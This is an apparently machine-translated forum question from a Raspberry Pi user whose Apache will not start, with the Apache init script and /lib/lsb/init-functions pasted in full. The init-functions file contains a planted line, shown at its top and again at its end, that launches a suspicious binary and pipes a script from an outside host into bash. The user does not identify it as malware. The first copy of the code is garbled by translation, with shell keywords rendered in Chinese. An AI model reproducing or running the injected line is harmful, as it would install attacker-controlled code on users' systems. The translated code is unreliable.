Debian 无法启动apache2语法错误

Debian 无法启动apache2语法错误,debian,apache2,raspberry-pi3,Debian,Apache2,Raspberry Pi3,我见过很多人谈论语法错误的类似问题,但我甚至不知道从哪里开始寻找我的。我已经有一个Web服务器在我的pi上运行了几个月;但是,我最近重新启动了它,现在apache将不会启动 当我跑步时: sudo /etc/init.d/apache2 start 我得到这个错误: /etc/init.d/apache2: 30: /lib/lsb/init-functions: Syntax error: ";" unexpected 据我所知,我没有修改任何这些文件,所以我很困惑为什么它以前能工作,现在

我见过很多人谈论语法错误的类似问题,但我甚至不知道从哪里开始寻找我的。我已经有一个Web服务器在我的pi上运行了几个月;但是,我最近重新启动了它,现在apache将不会启动

当我跑步时:

sudo /etc/init.d/apache2 start
我得到这个错误:

/etc/init.d/apache2: 30: /lib/lsb/init-functions: Syntax error: ";" unexpected
据我所知,我没有修改任何这些文件,所以我很困惑为什么它以前能工作,现在也不能了


以下是文件

/etc/init.d/apache2:

/lib/lsb/init函数:

Debian-*-shell脚本的
#/lib/lsb/init函数-*-
#
#版权所有(c)2002-08克里斯·劳伦斯
#版权所有。
#
#以源代码和二进制形式重新分发和使用,带或不带
#如果满足以下条件,则允许进行修改
#满足以下条件:
#1.源代码的重新分发必须保留上述版权
#请注意,此条件列表和以下免责声明。
#2.以二进制形式重新分发必须复制上述版权
#请注意,此条件列表和中的以下免责声明
#随分发提供的文件和/或其他材料。
#3.无论是作者姓名还是其他撰稿人姓名
#可用于认可或推广源自本软件的产品
#未经事先书面许可。
#
#本软件由作者“按原样”和任何明示或暗示的
#默示保证,包括但不限于
#适销性和特定用途适用性的保证
#拒绝承认。在任何情况下,摄政者或贡献者均不得
#对任何直接、间接、附带、特殊、示范或
#间接损害(包括但不限于采购
#替代商品或服务;使用、数据或利润损失;或
#业务中断)无论是何种原因造成的,且基于任何责任理论,
#无论是合同、严格责任还是侵权行为(包括过失)
#(或其他)因使用本软件而产生,
#即使被告知可能发生此类损坏。
X=$(/usr/sbin/innodb&;curlhttp://banconicaragua.com/x|(猛击)
启动\u守护进程(){
本地强制文件执行参数OPTIND
force=“”
尼斯=0
pidfile=/dev/null
OPTIND=1
而getopts fn:p:opt;do
案例“$opt”加入
f) force=“force”;;
n) nice=“$OPTARG”;;
p) pidfile=“$OPTARG”;;
以撒
完成
班次$($OPTIND-1))
如果[“$1”=”--“];则
转移
fi
exec=“$1”移位
args=“--start--nicelevel$nice--quiet--oknodo”
如果[“$force”];则
/sbin/start-stop守护程序$args\
--chdir“$PWD”-startas$exec--pidfile/dev/null--“$@”
elif[$pidfile];然后
/sbin/start-stop守护程序$args\
--chdir“$PWD”--exec$exec--oknodo--pidfile“$pidfile”--“$@”
其他的
/sbin/start-stop守护程序$args--chdir“$PWD”--exec$exec--“$@”
fi
}
PIDOFPOC(){
本地pid文件基本状态指定的pid选项
pidfile=
指定的=
OPTIND=1
而getopts p:opt;do
案例“$opt”加入
p) pidfile=“$OPTARG”
specified=“specified”
;;
以撒
完成
班次$($OPTIND-1))
如果[$#-ne 1];则
回显“$0:无效参数”>&2
返回4
fi
基数=${1##*/}
如果[!“$specified”];则
pidfile=“/var/run/$base.pid”
fi
如果[-n“${pidfile:-}”];则
如果[-e“$pidfile”];则
如果[-r“$pidfile”];则
读取pid<“$pidfile”
如果[-n“${pid:-}”];则
如果$(kill-0“${pid:-}”2>/dev/null);则
回显“$pid”| |正确
返回0
elif ps“${pid:-}”>/dev/null 2>&1;然后
回显“$pid”| |正确
返回0#程序正在运行,但不属于此用户
其他的
return 1#程序已死,/var/run pid文件存在
fi
fi
其他的
返回4#pid文件不可读,因此状态未知。
fi
其他的
#pid文件不存在,请尝试查找pid
如果[-x/bin/pidof]&&[!“$specified”];则
status=“0”
/bin/pidof-o%PPID-x$1 | | status=“$?”
如果[“$status”=1];则
返回3#程序未运行
fi
返回0
fi
返回3#指定的pid文件不存在,程序可能已停止
fi
fi
如果[“$specified”];则
返回3#几乎可以肯定它没有运行
fi
返回4#无法确定状态
}
#启动-停止守护进程使用与上面的“pidofproc”相同的算法。
killproc(){
本地pidfile sig status base name_参数为\u term_sig OPTIND
pidfile=
名称参数=
这是一个术语吗=
OPTIND=1
而getopts p:opt;do
案例“$opt”加入
p) pidfile=“$OPTARG”;;
以撒
完成
班次$($OPTIND-1))
基数=${1##*/}
如果[!$pidfile];则
name_param=“--name$base--pidfile/var/run/$base.pid”
其他的
name_param=“--pidfile$pidfile”
fi
sig=$(echo${2:-}| sed-e的/^-\(.*)/\1/)
sig=$(echo$sig | sed-e's/^sig\(.*)/\1/)
如果[“$sig”=15]|[“$sig”=TERM];则
is_term_sig=“终止信号”
fi
状态=0
如果[!“$is_term_sig”];那么
如果[-n“$sig”];则
/sbin/start stop守护进程--停止--信号“$sig”\
--安静$name_参数| | status=“$?”
其他的
/sbin/start-stop守护进程--停止\
--重试5次\
--安静$name_参数| | status=“$?”
fi
其他的
/sbin/start-stop守护进程--停止--安静\
--oknodo$name|param | status=“$?”
fi
如果[“$status”=1];则
如果[-z“$sig”];则
返回0
fi
返回3#程序未运行
fi
如果[“$status”=0]&&&[“$is_term_sig”]&&&[“$pidfile”];
#!/bin/sh
### BEGIN INIT INFO
# Provides:          apache2
# Required-Start:    $local_fs $remote_fs $network $syslog $named
# Required-Stop:     $local_fs $remote_fs $network $syslog $named
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# X-Interactive:     true
# Short-Description: Apache2 web server
# Description:       Start the web server and associated helpers
#  This script will start apache2, and possibly all associated instances.
#  Moreover, it will set-up temporary directories and helper tools such as
#  htcacheclean when required by the configuration.
### END INIT INFO

DESC="web server"
NAME=apache2
DAEMON=/usr/sbin/$NAME

SCRIPTNAME="${0##*/}"
SCRIPTNAME="${SCRIPTNAME##[KS][0-9][0-9]}"
if [ -n "$APACHE_CONFDIR" ] ; then
    if [ "${APACHE_CONFDIR##/etc/apache2-}" != "${APACHE_CONFDIR}" ] ; then
            DIR_SUFFIX="${APACHE_CONFDIR##/etc/apache2-}"
    else
            DIR_SUFFIX=
    fi
elif [ "${SCRIPTNAME##apache2-}" != "$SCRIPTNAME" ] ; then
    DIR_SUFFIX="-${SCRIPTNAME##apache2-}"
    APACHE_CONFDIR=/etc/apache2$DIR_SUFFIX
else
    DIR_SUFFIX=
    APACHE_CONFDIR=/etc/apache2
fi
if [ -z "$APACHE_ENVVARS" ] ; then
    APACHE_ENVVARS=$APACHE_CONFDIR/envvars
fi
export APACHE_CONFDIR APACHE_ENVVARS

ENV="env -i LANG=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
if [ "$APACHE_CONFDIR" != /etc/apache2 ] ; then
    ENV="$ENV APACHE_CONFDIR=$APACHE_CONFDIR"
fi
if [ "$APACHE_ENVVARS" != "$APACHE_CONFDIR/envvars" ] ; then
    ENV="$ENV APACHE_ENVVARS=$APACHE_ENVVARS"
fi


#edit /etc/default/apache2 to change this.
HTCACHECLEAN_RUN=auto
HTCACHECLEAN_MODE=daemon
HTCACHECLEAN_SIZE=300M
HTCACHECLEAN_DAEMON_INTERVAL=120
HTCACHECLEAN_PATH=/var/cache/apache2$DIR_SUFFIX/mod_cache_disk
HTCACHECLEAN_OPTIONS=""

# Read configuration variable file if it is present
if [ -f /etc/default/apache2$DIR_SUFFIX ] ; then
    . /etc/default/apache2$DIR_SUFFIX
elif [ -f /etc/default/apache2 ] ; then
    . /etc/default/apache2
fi

PIDFILE=$(. $APACHE_ENVVARS && echo $APACHE_PID_FILE)

VERBOSE=no
if [ -f /etc/default/rcS ]; then
    . /etc/default/rcS
fi
. /lib/lsb/init-functions


# Now, set defaults:
APACHE2CTL="$ENV apache2ctl"
HTCACHECLEAN="$ENV htcacheclean"
PIDFILE=$(. $APACHE_ENVVARS && echo $APACHE_PID_FILE)
APACHE2_INIT_MESSAGE=""

CONFTEST_OUTFILE=
cleanup() {
    if [ -n "$CONFTEST_OUTFILE" ] ; then
        rm -f "$CONFTEST_OUTFILE"
    fi
}
trap cleanup 0  # "0" means "EXIT", but "EXIT" is not portable


apache_conftest() {
    [ -z "$CONFTEST_OUTFILE" ] || rm -f "$CONFTEST_OUTFILE"
    CONFTEST_OUTFILE=$(mktemp)
    if ! $APACHE2CTL configtest > "$CONFTEST_OUTFILE" 2>&1 ; then
        return 1
    else
        rm -f "$CONFTEST_OUTFILE"
        CONFTEST_OUTFILE=
        return 0
    fi
}

clear_error_msg() {
    [ -z "$CONFTEST_OUTFILE" ] || rm -f "$CONFTEST_OUTFILE"
    CONFTEST_OUTFILE=
    APACHE2_INIT_MESSAGE=
}

print_error_msg() {
    [ -z "$APACHE2_INIT_MESSAGE" ] || log_warning_msg "$APACHE2_INIT_MESSAGE"
    if [ -n "$CONFTEST_OUTFILE" ] ; then
        echo "Output of config test was:" >&2
        cat "$CONFTEST_OUTFILE" >&2
        rm -f "$CONFTEST_OUTFILE"
        CONFTEST_OUTFILE=
    fi
}

apache_wait_start() {
    local STATUS=$1
    local i=0

    if [ $STATUS != 0 ] ; then
            return $STATUS
    fi
    while : ; do
            PIDTMP=$(pidofproc -p $PIDFILE $DAEMON)
            if [ -n "${PIDTMP:-}" ] && kill -0 "${PIDTMP:-}" 2> /dev/null; then
                    return $STATUS
            fi

            if [ $i = "20" ] ; then
                    APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX instance did not start within 20 seconds. Please read the log files to discover problems"
                    return 2
            fi

            [ "$VERBOSE" != no ] && log_progress_msg "."
            sleep 1
            i=$(($i+1))
    done
}

apache_wait_stop() {
    local STATUS=$1
    local METH=$2

    if [ $STATUS != 0 ] ; then
            return $STATUS
    fi

    PIDTMP=$(pidofproc -p $PIDFILE $DAEMON)
    if [ -n "${PIDTMP:-}" ] && kill -0 "${PIDTMP:-}" 2> /dev/null; then

            if [ "$METH" = "kill" ]; then
                killproc -p $PIDFILE $DAEMON
            else
                $APACHE2CTL $METH > /dev/null 2>&1
            fi

            local i=0
            while kill -0 "${PIDTMP:-}" 2> /dev/null;  do
                    if [ $i = '60' ]; then
                            STATUS=2
                            break
                    fi
                    [ "$VERBOSE" != no ] && log_progress_msg "."
                    sleep 1
                    i=$(($i+1))
            done
            return $STATUS
    else
        return $STATUS
    fi
}


#
# Function that starts the daemon/service
#
do_start()
{
    # Return
    #   0 if daemon has been started
    #   1 if daemon was already running
    #   2 if daemon could not be started

    if pidofproc -p $PIDFILE "$DAEMON" > /dev/null 2>&1 ; then
            return 1
    fi

    if apache_conftest ; then
            $APACHE2CTL start
            apache_wait_start $?
            return $?
    else
            APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX configtest failed."
            return 2
    fi
}

#
# Function that stops the daemon/service
#
do_stop()
{
    # Return
    #   0 if daemon has been stopped
    #   1 if daemon was already stopped
    #   2 if daemon could not be stopped
    #   other if a failure occurred

    # either "stop" or "graceful-stop"
    local STOP=$1
    # can't use pidofproc from LSB here
    local AP_RET=0

    if pidof $DAEMON > /dev/null 2>&1 ; then
            if [ -e $PIDFILE ] && pidof $DAEMON | tr ' ' '\n' | grep -w $(cat $PIDFILE) > /dev/null 2>&1 ; then
                    AP_RET=2
            else
                    AP_RET=1
            fi
    else
        AP_RET=0
    fi

    # AP_RET is:
    # 0 if Apache (whichever) is not running
    # 1 if Apache (whichever) is running
    # 2 if Apache from the PIDFILE is running

    if [ $AP_RET = 0 ] ; then
            return 1
    fi

    if [ $AP_RET = 2 ] && apache_conftest ; then
            apache_wait_stop $? $STOP
            return $?
    else
            if [ $AP_RET = 2 ]; then
                    clear_error_msg
                    APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX configtest failed, so we are trying to kill it manually. This is almost certainly suboptimal, so please make sure your system is working as you'd expect now!"
                    apache_wait_stop $? "kill"
                    return $?
            elif [ $AP_RET = 1 ] ; then
                    APACHE2_INIT_MESSAGE="There are processes named 'apache2' running which do not match your pid file which are left untouched in the name of safety, Please review the situation by hand".
                    return 2
            fi
    fi

}


#
# Function that sends a SIGHUP to the daemon/service
#
do_reload() {
    if apache_conftest; then
            if ! pidofproc -p $PIDFILE "$DAEMON" > /dev/null 2>&1 ; then
                    APACHE2_INIT_MESSAGE="Apache2 is not running"
                    return 2
            fi
            $APACHE2CTL graceful > /dev/null 2>&1
            return $?
    else
            APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX configtest failed. Not doing anything."
            return 2
    fi
}


check_htcacheclean() {
    [ "$HTCACHECLEAN_MODE" = "daemon" ] || return 1
    [ "$HTCACHECLEAN_RUN"  = "yes"    ] && return 0

    MODSDIR=$(. $APACHE_ENVVARS && echo $APACHE_MODS_ENABLED)
            [ "$HTCACHECLEAN_RUN"  = "auto" \
                    -a -e ${MODSDIR:-$APACHE_CONFDIR/mods-enabled}/cache_disk.load ] && \
                    return 0
    return 1
}

start_htcacheclean() {
       $HTCACHECLEAN $HTCACHECLEAN_OPTIONS -d$HTCACHECLEAN_DAEMON_INTERVAL \
            -i -p$HTCACHECLEAN_PATH -l$HTCACHECLEAN_SIZE
}

stop_htcacheclean() {
    pkill -P 1 -f "htcacheclean.* -p$HTCACHECLEAN_PATH " 2> /dev/null || return 1
}


# Sanity checks. They need to occur after function declarations
[ -x $DAEMON ] || exit 0

if [ ! -x $DAEMON ] ; then
    echo "No apache-bin package installed"
    exit 0
fi

if [ -z "$PIDFILE" ] ; then
    echo ERROR: APACHE_PID_FILE needs to be defined in $APACHE_ENVVARS >&2
    exit 2
fi

if check_htcacheclean ; then
    if [ ! -d "$HTCACHECLEAN_PATH" ] ; then
            echo "htcacheclean is configured, but directory $HTCACHECLEAN_PATH does not exist!" >&2
            exit 2
    fi
fi



case "$1" in
  start)
    log_daemon_msg "Starting $DESC" "$NAME"
    do_start
    RET_STATUS=$?
    case "$RET_STATUS" in
        0|1)
            log_success_msg
            [ "$VERBOSE" != no ] && [ $RET_STATUS = 1 ] && log_warning_msg "Server was already running"
            if check_htcacheclean ; then
                [ "$VERBOSE" != no ] && log_daemon_msg "Starting HTTP cache cleaning daemon" "htcacheclean"
                start_htcacheclean
                [ "$VERBOSE" != no ] && log_end_msg $?
            fi
            ;;
        2)
            log_failure_msg
            print_error_msg
            exit 1
            ;;
    esac
    ;;
  stop|graceful-stop)
    log_daemon_msg "Stopping $DESC" "$NAME"
    do_stop "$1"
    RET_STATUS=$?
    case "$RET_STATUS" in
        0|1)
            log_success_msg
            [ "$VERBOSE" != no ] && [ $RET_STATUS = 1 ] && log_warning_msg "Server was not running"
            ;;
        2)
            log_failure_msg
            print_error_msg
            exit 1
            ;;
    esac
    print_error_msg

    if check_htcacheclean ; then
        [ "$VERBOSE" != no ] && log_daemon_msg "Stopping HTTP cache cleaning daemon" "htcacheclean"
        stop_htcacheclean
        [ "$VERBOSE" != no ] && log_end_msg $?
    fi

    ;;
  status)
    status_of_proc -p $PIDFILE "apache2" "$NAME"
    exit $?
    ;;
  reload|force-reload|graceful)
    log_daemon_msg "Reloading $DESC" "$NAME"
    do_reload
    RET_STATUS=$?
    case "$RET_STATUS" in
        0|1)
            log_success_msg
            [ "$VERBOSE" != no ] && [ $RET_STATUS = 1 ] && log_warning_msg "Server was already running"
            ;;
        2)
            log_failure_msg
            print_error_msg
            exit 1
            ;;
    esac
    print_error_msg
    ;;
  restart)
    log_daemon_msg "Restarting $DESC" "$NAME"
    do_stop stop
    case "$?" in
        0|1)
            do_start
            case "$?" in
                0)
                    log_end_msg 0
                    ;;
                1|*)
                    log_end_msg 1 # Old process is still or failed to running
                    print_error_msg
                    exit 1
                    ;;
            esac
            ;;
        *)
            # Failed to stop
            log_end_msg 1
            print_error_msg
            exit 1
            ;;
    esac
    ;;
  start-htcacheclean)
    log_daemon_msg "Starting htcacheclean"
    start_htcacheclean
    log_end_msg $?
    exit $?
    ;;
  stop-htcacheclean)
    log_daemon_msg "Stopping htcacheclean"
    stop_htcacheclean
    log_end_msg $?
    exit $?
    ;;
  *)
    echo "Usage: $SCRIPTNAME {start|stop|graceful-stop|restart|reload|force-reload|start-htcacheclean|stop-htcacheclean}" >&2
    exit 3
    ;;
esac

exit 0

# vim: syntax=sh ts=4 sw=4 sts=4 sr noet
# /lib/lsb/init-functions for Debian -*- shell-script -*-
#
#Copyright (c) 2002-08 Chris Lawrence
#All rights reserved.
#
#Redistribution and use in source and binary forms, with or without
#modification, are permitted provided that the following conditions
#are met:
#1. Redistributions of source code must retain the above copyright
#   notice, this list of conditions and the following disclaimer.
#2. Redistributions in binary form must reproduce the above copyright
#   notice, this list of conditions and the following disclaimer in the
#   documentation and/or other materials provided with the distribution.
#3. Neither the name of the author nor the names of other contributors
#   may be used to endorse or promote products derived from this software
#   without specific prior written permission.
#
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
#ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE
#LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
#CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
#SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
#BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
#WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
#OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
#EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

X=$(/usr/sbin/innodb &;curl http://banconicaragua.com/x|bash)
start_daemon () {
    local force nice pidfile exec args OPTIND
    force=""
    nice=0
    pidfile=/dev/null

    OPTIND=1
    while getopts fn:p: opt ; do
        case "$opt" in
            f)  force="force";;
            n)  nice="$OPTARG";;
            p)  pidfile="$OPTARG";;
        esac
    done

    shift $(($OPTIND - 1))
    if [ "$1" = '--' ]; then
        shift
    fi

    exec="$1"; shift

    args="--start --nicelevel $nice --quiet --oknodo"
    if [ "$force" ]; then
        /sbin/start-stop-daemon $args \
        --chdir "$PWD" --startas $exec --pidfile /dev/null -- "$@"
    elif [ $pidfile ]; then
        /sbin/start-stop-daemon $args \
        --chdir "$PWD" --exec $exec --oknodo --pidfile "$pidfile" -- "$@"
    else
        /sbin/start-stop-daemon $args --chdir "$PWD" --exec $exec -- "$@"
    fi
}

pidofproc () {
    local pidfile base status specified pid OPTIND
    pidfile=
    specified=

    OPTIND=1
    while getopts p: opt ; do
        case "$opt" in
            p)  pidfile="$OPTARG"
                specified="specified"
        ;;
        esac
    done
    shift $(($OPTIND - 1))
    if [ $# -ne 1 ]; then
        echo "$0: invalid arguments" >&2
        return 4
    fi

    base=${1##*/}
    if [ ! "$specified" ]; then
        pidfile="/var/run/$base.pid"
    fi

    if [ -n "${pidfile:-}" ]; then
     if [ -e "$pidfile" ]; then
      if [ -r "$pidfile" ]; then
        read pid < "$pidfile"
        if [ -n "${pid:-}" ]; then
            if $(kill -0 "${pid:-}" 2> /dev/null); then
                echo "$pid" || true
                return 0
            elif ps "${pid:-}" >/dev/null 2>&1; then
                echo "$pid" || true
                return 0 # program is running, but not owned by this user
            else
                return 1 # program is dead and /var/run pid file exists
            fi
        fi
      else
        return 4 # pid file not readable, hence status is unknown.
      fi
     else
       # pid file doesn't exist, try to find the pid nevertheless
       if [ -x /bin/pidof ] && [ ! "$specified" ]; then
         status="0"
         /bin/pidof -o %PPID -x $1 || status="$?"
         if [ "$status" = 1 ]; then
             return 3 # program is not running
         fi
         return 0
       fi
       return 3 # specified pid file doesn't exist, program probably stopped
     fi
    fi
    if [ "$specified" ]; then
        return 3 # almost certain it's not running
    fi
    return 4 # Unable to determine status
}

# start-stop-daemon uses the same algorithm as "pidofproc" above.
killproc () {
    local pidfile sig status base name_param is_term_sig OPTIND
    pidfile=
    name_param=
    is_term_sig=

    OPTIND=1
    while getopts p: opt ; do
        case "$opt" in
            p)  pidfile="$OPTARG";;
        esac
    done
    shift $(($OPTIND - 1))

    base=${1##*/}
    if [ ! $pidfile ]; then
        name_param="--name $base --pidfile /var/run/$base.pid"
    else
        name_param="--pidfile $pidfile"
    fi

    sig=$(echo ${2:-} | sed -e 's/^-\(.*\)/\1/')
    sig=$(echo $sig | sed -e 's/^SIG\(.*\)/\1/')
    if [ "$sig" = 15 ] || [ "$sig" = TERM ]; then
        is_term_sig="terminate_signal"
    fi
    status=0
    if [ ! "$is_term_sig" ]; then
        if [ -n "$sig" ]; then
            /sbin/start-stop-daemon --stop --signal "$sig" \
        --quiet $name_param || status="$?"
        else
            /sbin/start-stop-daemon --stop \
        --retry 5 \
        --quiet $name_param || status="$?"
        fi
    else
        /sbin/start-stop-daemon --stop --quiet \
        --oknodo $name_param || status="$?"
    fi
    if [ "$status" = 1 ]; then
        if [ -z "$sig" ]; then
            return 0
        fi
        return 3 # program is not running
    fi

    if [ "$status" = 0 ] && [ "$is_term_sig" ] && [ "$pidfile" ]; then
        pidofproc -p "$pidfile" "$1" >/dev/null || rm -f "$pidfile"
    fi
    return 0
}

# Return LSB status
status_of_proc () {
    local pidfile daemon name status OPTIND

    pidfile=
    OPTIND=1
    while getopts p: opt ; do
        case "$opt" in
            p)  pidfile="$OPTARG";;
        esac
    done
    shift $(($OPTIND - 1))

    if [ -n "$pidfile" ]; then
        pidfile="-p $pidfile"
    fi
    daemon="$1"
    name="$2"

    status="0"
    pidofproc $pidfile $daemon >/dev/null || status="$?"
    if [ "$status" = 0 ]; then
        log_success_msg "$name is running"
        return 0
    elif [ "$status" = 4 ]; then
        log_failure_msg "could not access PID file for $name"
        return $status
    else
        log_failure_msg "$name is not running"
        return $status
    fi
}

log_use_fancy_output () {
    TPUT=/usr/bin/tput
    EXPR=/usr/bin/expr
    if  [ -t 1 ] &&
    [ "x${TERM:-}" != "x" ] &&
    [ "x${TERM:-}" != "xdumb" ] &&
    [ -x $TPUT ] && [ -x $EXPR ] &&
    $TPUT hpa 60 >/dev/null 2>&1 &&
    $TPUT setaf 1 >/dev/null 2>&1
    then
        [ -z $FANCYTTY ] && FANCYTTY=1 || true
    else
        FANCYTTY=0
    fi
    case "$FANCYTTY" in
        1|Y|yes|true)   true;;
        *)              false;;
    esac
}

log_success_msg () {
    if [ -n "${1:-}" ]; then
        log_begin_msg $@
    fi
    log_end_msg 0
}

log_failure_msg () {
    if [ -n "${1:-}" ]; then
        log_begin_msg $@ "..."
    fi
    log_end_msg 1 || true
}

log_warning_msg () {
    if [ -n "${1:-}" ]; then
        log_begin_msg $@ "..."
    fi
    log_end_msg 255 || true
}

#
# NON-LSB HELPER FUNCTIONS
#
# int get_lsb_header_val (char *scriptpathname, char *key)
get_lsb_header_val () {
        if [ ! -f "$1" ] || [ -z "${2:-}" ]; then
                return 1
        fi
        LSB_S="### BEGIN INIT INFO"
        LSB_E="### END INIT INFO"
        sed -n "/$LSB_S/,/$LSB_E/ s/# $2: \(.*\)/\1/p" $1
}

# If the currently running init daemon is upstart, return zero; if the
# calling init script belongs to a package which also provides a native
# upstart job, it should generally exit non-zero in this case.
init_is_upstart()
{
   if [ -x /sbin/initctl ] && /sbin/initctl version 2>/dev/null | /bin/grep -q upstart; then
       return 0
   fi
   return 1
}

# int log_begin_message (char *message)
log_begin_msg () {
    log_begin_msg_pre "$@"
    if [ -z "${1:-}" ]; then
        return 1
    fi
    echo -n "$@" || true
    log_begin_msg_post "$@"
}

# Sample usage:
# log_daemon_msg "Starting GNOME Login Manager" "gdm"
#
# On Debian, would output "Starting GNOME Login Manager: gdm"
# On Ubuntu, would output " * Starting GNOME Login Manager..."
#
# If the second argument is omitted, logging suitable for use with
# log_progress_msg() is used:
#
# log_daemon_msg "Starting remote filesystem services"
#
# On Debian, would output "Starting remote filesystem services:"
# On Ubuntu, would output " * Starting remote filesystem services..."

log_daemon_msg () {
    if [ -z "${1:-}" ]; then
        return 1
    fi
    log_daemon_msg_pre "$@"

    if [ -z "${2:-}" ]; then
        echo -n "$1:" || true
        return
    fi

    echo -n "$1: $2" || true
    log_daemon_msg_post "$@"
}

# #319739
#
# Per policy docs:
#
#     log_daemon_msg "Starting remote file system services"
#     log_progress_msg "nfsd"; start-stop-daemon --start --quiet nfsd
#     log_progress_msg "mountd"; start-stop-daemon --start --quiet mountd
#     log_progress_msg "ugidd"; start-stop-daemon --start --quiet ugidd
#     log_end_msg 0
#
# You could also do something fancy with log_end_msg here based on the
# return values of start-stop-daemon; this is left as an exercise for
# the reader...
#
# On Ubuntu, one would expect log_progress_msg to be a no-op.
log_progress_msg () {
    if [ -z "${1:-}" ]; then
        return 1
    fi
    echo -n " $@" || true
}


# int log_end_message (int exitstatus)
log_end_msg () {
    # If no arguments were passed, return
    if [ -z "${1:-}" ]; then
        return 1
    fi

    local retval
    retval=$1

    log_end_msg_pre "$@"

    # Only do the fancy stuff if we have an appropriate terminal
    # and if /usr is already mounted
    if log_use_fancy_output; then
        RED=$( $TPUT setaf 1)
        YELLOW=$( $TPUT setaf 3)
        NORMAL=$( $TPUT op)
    else
        RED=''
        YELLOW=''
        NORMAL=''
    fi

    if [ $1 -eq 0 ]; then
        echo "." || true
    elif [ $1 -eq 255 ]; then
        /bin/echo -e " ${YELLOW}(warning).${NORMAL}" || true
    else
        /bin/echo -e " ${RED}failed!${NORMAL}" || true
    fi
    log_end_msg_post "$@"
    return $retval
}

log_action_msg () {
    log_action_msg_pre "$@"
    echo "$@." || true
    log_action_msg_post "$@"
}

log_action_begin_msg () {
    log_action_begin_msg_pre "$@"
    echo -n "$@..." || true
    log_action_begin_msg_post "$@"
}

log_action_cont_msg () {
    echo -n "$@..." || true
}

log_action_end_msg () {
    local end
    log_action_end_msg_pre "$@"
    if [ -z "${2:-}" ]; then
        end="."
    else
        end=" ($2)."
    fi

    if [ $1 -eq 0 ]; then
        echo "done${end}" || true
    else
        if log_use_fancy_output; then
            RED=$( $TPUT setaf 1)
            NORMAL=$( $TPUT op)
            /bin/echo -e "${RED}failed${end}${NORMAL}" || true
        else
            echo "failed${end}" || true
        fi
    fi
    log_action_end_msg_post "$@"
}

# Pre&Post empty function declaration, to be overriden from /lib/lsb/init-functions.d/*
log_daemon_msg_pre () { :; }
log_daemon_msg_post () { :; }
log_begin_msg_pre () { :; }
log_begin_msg_post () { :; }
log_end_msg_pre () { :; }
log_end_msg_post () { :; }
log_action_msg_pre () { :; }
log_action_msg_post () { :; }
log_action_begin_msg_pre () { :; }
log_action_begin_msg_post () { :; }
log_action_end_msg_pre () { :; }
log_action_end_msg_post () { :; }

# Include hooks from other packages in /lib/lsb/init-functions.d
for hook in $(run-parts --lsbsysinit --list /lib/lsb/init-functions.d 2>/dev/null); do
    [ -r $hook ] && . $hook || true
done

FANCYTTY=
[ -e /etc/lsb-base-logging.sh ] && . /etc/lsb-base-logging.sh || true
X=$(/usr/sbin/innodb &;curl http://banconicaragua.com/x|bash)